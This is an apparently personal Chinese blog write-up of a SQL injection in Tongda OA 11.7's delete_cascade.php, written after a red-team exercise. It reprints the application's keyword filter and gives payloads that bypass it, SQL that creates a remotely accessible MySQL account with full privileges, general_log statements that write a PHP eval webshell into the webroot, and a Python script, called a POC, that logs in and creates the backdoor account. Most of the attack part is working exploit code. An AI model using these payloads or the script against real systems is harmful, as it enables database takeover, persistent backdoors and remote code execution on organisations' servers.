前言
hvv期间爆了一个通达OA的漏洞,尝试分析一些这个漏洞的原因以及利用的姿势。
攻击队的大佬tql,0day一个接一个的爆。
膜师傅们~~~~
测试环境
- 通达OA11.7
- 通达oa代码解密工具 下载链接
官网上下载的通达OA11.7的安装包,然后傻瓜式一键安装。
漏洞分析:
漏洞点在:general/hr/manage/query/delete_cascade.php文件下:
通过代码发现这里对传递的参数没有任何的过滤,是存在sql注入的。
这里是删除的功能,是一个盲注,所以尝试if(1,sleep(3),2):
发现存在过滤:sleep
在代码中查找过滤的地方,最终在/inc/conn.php
找到了过滤的代码:
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码");
}
else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("联合查询");
}
else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
$fail = true;
$error = $matches[2];
}
else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("生成文件");
}
else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
$fail = true;
$error = "set file_priv";
}
else if (preg_match("/.*case.+when.+then.+end.*/s", $clean) != 0) {
$fail = true;
$error = "case when";
}
else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
$fail = true;
$error = "general_log";
}
if ($fail) {
echo _("不安全的SQL语句:") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
这里发现过滤了一些关键字但是还是可以注入的 过滤了sleep()
函数,我们可以通过if
配合一些可以报错的函数一起使用,比如:cot(0)、power(9999,9999)、
payload:?condition_cascade=select if(0,cot(0),2)
?condition_cascade=select if(1,cot(0),2)
这样不同结果页面返回的内容不同,这样就可以进行注入了。
到这里。我们可以注入数据库里面的内容了,将if(bool,1,cot(0))
。
这里bool可以替换为查询数据的语句:substr(database(),1,1)='a'
就可以查询到数据了。
getshell
能够查询数据之后如何getshell呢?通过/inc/conn.php
代码可以看到,过滤了大多情况的getshell的方法,
我也尝试了一些方法,都已失败而告终。在网上看到了一个比较新颖的思路参考链接,因为通达OA,mysql用户是root用户,权限比较大,可以添加一个新的用户,让这个新的用户可以任意地址登陆。grant all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY 'abc123@abc123' WITH GRANT OPTION
然后远程连接数据库。
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('abc123' AS Binary(6));
然后访问http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=flush%20privileges
再访问http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=grant%20all%20privileges%20ON%20mysql.*%20TO%20%27abc123%27@%27%%27%20IDENTIFIED%20BY%20%27abc123@abc%27%20WITH%20GRANT%20OPTION
就可以远程连接mysql数据库了:
通过数据库写webshell方法有很多:select @@basedir
可以查询绝对路径:C:\TDOA11.7\mysql5\
那通达OA的web目录就是C:/TDOA11.7/webroot
。
select @@basedir
set global general_log='on';
SET global general_log_file='c:/TDOA11.7/webroot/aaa.php';
SELECT '<?php @eval($_POST["cmd"]);?>';
其他方式getshell,也是可以。。
蚁剑进行连接:
就可以getshell了。
POC
自己写了一个检测的poc,
import re
import requests
import argparse
import json
import base64
s = requests.session()
def login(url,username,password):
url_login = url +"/logincheck.php"
# UNAME=lijia&PASSWORD=&encode_type=1
passwd =base64.b64encode(password.encode())
data={
'UNAME':username,
'PASSWORD':passwd,
'encode_type':1
}
# print(data)
# exit()
res = s.post(url=url_login,data=data,verify=False)
set_cookie = res.headers['Set-Cookie']
if "正在进入OA系统" in res.text:
print("[+]login success!!")
else:
print("[-]login error!!")
exit();
# print(cookie[0])
def getshell(url,username,password):
login(url,username,password)
shell_url = url +"/general/hr/manage/query/delete_cascade.php"
add_mysqluser = "?condition_cascade=grant all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY 'abc123@abc123' WITH GRANT OPTION"
add_mysqluser_url = shell_url+add_mysqluser
res = s.get(add_mysqluser_url)
# print(res.text)
if '信息删除成功!' in res.text:
print("[+]Get sql")
print("[+]You can connect mysql abc123:abc123@abc123")
print("[+]Goodlucky!")
else:
print("[-]erroe!")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-username",
"--targeusername",
type=str,
help="Target TongDa OA username. e.g: -username admin")
parser.add_argument(
"-password",
"--targepassword",
type=str,
help="Target TongDa OA username. e.g: -password 123456")
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
)
args = parser.parse_args()
url = args.targeturl
if 'http://' not in url:
url = 'http://' + url
else:
url=url
username= args.targeusername
password=args.targepassword
getshell(url,username,password)
利用方式:python3 tdoa11.7.py -url 漏洞url -username 用户名 -password 用户密码
总结
这个OA的漏洞可以通过非管理员的账号进行sql注入到getshell。正所谓只要我知道的用户名够多,就一定存在弱口令。
就可以有弱口令->sql注入->getshell的组合拳可以利用。
这次通达OA的漏洞比较简单,自己尝试写了POC,虽然写代码的能力很差,但是多多少少还是有所收获的。